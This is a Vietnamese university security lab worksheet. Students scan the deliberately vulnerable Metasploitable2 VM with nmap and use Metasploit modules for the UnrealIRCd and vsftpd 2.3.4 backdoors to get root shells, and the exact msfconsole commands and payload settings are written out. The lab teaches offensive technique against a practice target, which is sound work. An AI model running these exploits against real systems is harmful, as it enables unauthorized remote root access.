Cơ sở ATTT -INT1472 - Bài thực hành số 1

1. Mục đích:

- Tìm hiểu về các lỗ hổng một số dịch vụ, phần mềm trên HĐH
- Thực hành tấn công kiểm soát hệ thống chạy Ubuntu từ xa sử dụng công cụ tấn công Metasploit trên Kali Linux.

2. Các phần mềm, công cụ cần có

- Kali Linux
- Metasploit (có sẵn trong Kali Linux)
- Metasploitable2: máy ảo VMWare chứa lỗi, có thể tải tại:
  - https://sourceforge.net/projects/metasploitable/files/latest/download

2. Tìm hiểu về các lỗ hổng bảo mật trên một số DV của Ubuntu

Metasploitable2 là một máy ảo VMWare được tích hợp nhiều dịch vụ chứa các lỗi bảo mật đã biết cho phép khai thác kiểm soát hệ thống từ xa phục vụ học tập. Danh sách các lỗ hổng có thể tìm tại: https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/

2.1 Cửa hậu cho phép điều khiển từ xa trên máy chủ nhắn tin UnrealIRCd

UnrealIRCd là máy chủ nhắn tin hoạt động dựa trên giao thức IRC trên cổng TCP 6667. UnrealIRCd tồn tại một cửa hậu sau một thời gian dài không mới bị phát hiện. Cửa hậu mở ra khi nhận được chuỗi ký tự "AB" kèm theo 1 lệnh shell hệ điều hành. Chi tiết về lỗ hổng này có thể tìm tại: https://lwn.net/Articles/392201/ và https://www.tenable.com/plugins/nessus/46882.

2.2 Cửa hậu cho phép điều khiển từ xa trên máy chủ FTP Vsftpd v2.3.4

Vsftpd là máy chủ truyền file (FTP) được sử dụng khá phổ biến. Một cửa hậu được đưa vào phiên bản *Vsftpd v2.3.4* trong khoảng thời gian từ 30/6/2011 đến 1/7/2011. Cửa hậu đã bị loại bỏ khỏi máy chủ này vào 3/7/2011.

Cửa hậu trên Vsftpd v2.3.4 được kích hoạt khi người dùng kết nối gửi 1 chuỗi bất kỳ làm username và password rỗng. Khi đó, Vsftpd v2.3.4 sẽ mở shell hoạt động trên cổng 6200 đợi kết nối mở không qua xác thực từ bất kỳ máy khách nào. Chi tiết về cửa hậu này có thể tìm tại: https://www.hackingtutorials.org/metasploit-tutorials/exploiting-vsftpd-metasploitable/.

3. Nội dung thực hành

3.1 Cài đặt các công cụ, nền tảng

- Cài đặt nền tảng ảo hoá VMWare (khuyến nghị do các máy ảo thực hành có sẵn cho VMWare, đồng thời VMWare chạy nhanh, ổn định).
- Cài đặt Kali Linux (nếu chưa cài đặt) trên 1 máy ảo (hoặc máy thực)
  - Bản ISO của Kali Linux có thể tải tại: https://www.kali.org/get-kali/#kali-bare-metal
  - Bản cài sẵn trên máy ảo của Kali Linux có thể tải tại: https://www.kali.org/get-kali/#kali-virtual-machines
  - Đổi tên máy Kali Linux thành dạng Mã SV-Tên-Kali. Ví dụ: Bạn Trần Đức Cường, mã sv B19DCAT018 → tên máy là B19AT018-Cuong-Kali. Nếu chưa biết cách đổi tên máy Linux, tham khảo cách đổi tên máy Metasploitable2 ở dưới.

- Kiểm tra và chạy thử bộ công cụ tấn công MetaSploit
    - Từ menu bên trái, tìm biểu tượng MetaSploit (chữ M cách điệu) nhấp chuột để chạy, hoặc:
    - Mở cửa sổ Terminal > gõ lệnh msfconsole
- Tải và cài đặt Metasploitable2 làm máy victim:
    - Tải Metasploitable2
    - Giải nén
    - Sử dụng VMWare Player hoặc VMWare để mở và khởi động máy ảo. Tài khoản đăng nhập vào hệ thống là msfadmin / msfadmin.
- Lưu ý đặt tên máy victim là Mã SV+Tên-Meta. Ví dụ: Bạn Trần Đức Cường, mã sv B19DCAT018 → tên máy là B19AT018-Cuong-Meta. Khởi động lại máy victim để máy nhận tên mới.
    - Hướng dẫn đổi tên máy:
    - Chạy lệnh: sudo nano /etc/hostname
    - Nhập tên máy mới theo quy tắc trên, nhấn Ctrl-x và bấm y để xác nhận
    - Khởi động lại máy: sudo reboot

3.2 Quét máy victim Metasploitable2 tìm các lỗ hổng tồn tại

- Tìm địa chỉ IP của máy victim:
    - Chạy lệnh trong máy victim: ifconfig
    - Tìm IP v4 ở interface eth0 ở mục 'inet addr'
- Kiểm tra kết nối mạng giữa các máy:
    - Từ máy victim, chạy lệnh ping <ip_máy kali>
    - Từ máy Kali, chạy lệnh ping <ip_máy victim>
- Sử dụng công cụ nnap/zenmap trên máy Kali Linux để quét các cổng, dịch vụ đang mở và lỗ hổng đang tồn tại:
    - Quét các cổng, dịch vụ đang mở: nmap -sV -A <IP_máy đích>
    - Quét các lỗ hổng: nmap -sC <IP_máy đích>

3.3 Khai thác cửa hậu trên UnrealIRCd

- Khởi động Metasploit
- Khai báo sử dụng mô đun tấn công:
  msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
- Đặt địa chỉ IP máy tấn công:
  msf > set LHOST <ip_kali>
- Đặt địa chỉ IP máy victim:
  msf > set RHOST <ip_victim>
- Chọn payload cho thực thi (mở shell):
  msf > set payload cmd/unix/reverse
- Thực thi tấn công:
  msf > exploit

  → Cửa hậu mở **shell** với người dùng **root** cho phép chạy lệnh trên máy victim từ máy Kali.

- Chạy các lệnh để đọc tên người dùng và máy đang truy cập:
  whoami
  uname -a
- Gõ Ctrl-c để kết thúc

  ➔ có thể thực hiện bất cứ lệnh shell nào trên máy victim.

3.4 Khai thác cửa hậu trên Vsftpd v2.3.4

- Khởi động Metasploit
- Khai báo sử dụng mô đun tấn công:
  msf > use exploit/unix/ftp/vsftpd_234_backdoor
- Đặt địa chỉ IP máy tấn công:
  msf > set LHOST <ip_kali>
- Đặt địa chỉ IP máy victim:
  msf > set RHOST <ip_victim>
- Chọn payload cho thực thi (mở shell):
  msf > set payload cmd/unix/interact
- Thực thi tấn công:
  msf > exploit

  ➔ Cửa hậu mở **shell** với người dùng **root** cho phép chạy lệnh trên máy victim từ máy Kali.

- Chạy các lệnh để đọc tên người dùng và máy đang truy cập:
  whoami
  uname -a
- Gõ Ctrl-c để kết thúc

  ➔ có thể thực hiện bất cứ lệnh shell nào trên máy victim.

4. Yêu cầu cần đạt

1. Thành thạo cài đặt và chạy máy ảo Ubuntu
2. Thành thạo sử dụng Metasploit để tấn công khai thác lỗ hổng sử dụng thư viện có sẵn
3. Chụp ảnh màn hình kết quả lưu vào file word (chỉ cắt phần cửa sổ hoạt động):
   a. Màn hình tìm được địa chỉ IP máy Kali
   b. Màn hình tìm được địa chỉ IP máy Metasploitable2
   c. Màn hình các máy ping nhau (hiện thị reply from….)
   d. Màn hình quét các cổng và dịch vụ máy đích (các đoạn có chứa dịch vụ vsftp và UnrealIRCd)
   e. Màn hình quét các lỗ hổng tìm được (các đoạn có chứa lỗ hổng dịch vụ ftp cổng 21/tcp và dịch vụ irc cổng 6667/tcp)
   f. Màn hình sau khi tấn công thành công và chạy các lệnh whoami và uname -a trên hệ thống victim (tên máy đặt lại theo yêu cầu) với từng lỗ hổng khai thác.